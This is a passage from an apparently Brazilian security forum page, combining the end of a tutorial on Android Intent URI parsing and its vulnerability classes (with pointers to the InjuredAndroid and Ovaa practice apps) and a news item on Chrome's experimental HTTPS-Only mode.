      if      (uri.startsWith("S.", i)) b.putString(key, value); else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value)); else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value)); else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0)); else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value)); else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value)); else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value)); else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value)); else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value)); else throw new URISyntaxException(uri, "unknown EXTRA type", i); ;end
      Podem existir vários tipos de vulnerabilidades oriundas dos Intents, incluindo RCE/SQLi/XSS ou até Buffer Overflow. Só vai depender da criatividade do desenvolvedor.
      Para estudar esse assunto mais a fundo, recomendo a leitura do blog do @bagipro_ (em Inglês) e dos reports públicos de Bug Bounty, também em Inglês.
      Uma outra observação é que além do InjuredAndroid, você também pode brincar com o Ovaa.
      |-|4ck th3 |>l4n3t 
      @caioluders
    • By Bruna Chieco
      O Google está trabalhando para adicionar um modo Apenas HTTPS (HTTPS-Only) ao navegador Chrome para proteger o tráfego dos usuários de espionagem, atualizando todas as conexões para HTTPS. Segundo o Bleeping Computer, o novo recurso está sendo testado nas versões de pré-visualização do Chrome 93 Canary para Mac, Windows, Linux, Chrome OS e Android.
      Embora nenhum anúncio oficial tenha sido feito ainda, o modo HTTPS-Only provavelmente será lançado em 31 de agosto, diz o site. O Google já atualizou o Chrome para o padrão HTTPS em todos os URLs digitados na barra de endereço se o usuário não especificar nenhum protocolo.
      Para testar o recurso experimental, é preciso habilitar a sinalização "Configuração do modo somente HTTPS" acessando chrome://flags/#https-only-mode-setting. Uma vez ativada a opção "Sempre usar conexões seguras" às configurações de segurança do navegador, o Chrome vai atualizar automaticamente toda a navegação para HTTPS e exibir alertas antes de carregar sites que não o suportam.
      Ao atualizar todas as conexões de sites para HTTPS, o Google Chrome protegerá os usuários de ataques man-in-the-middle que tentam espionar dados trocados com servidores da Internet por meio do protocolo HTTP não criptografado. O HTTPS também garante que os invasores que tentam interceptar o tráfego da Web não alterem os dados trocados com sites da Internet sem serem detectados.
×
×
  • Create New...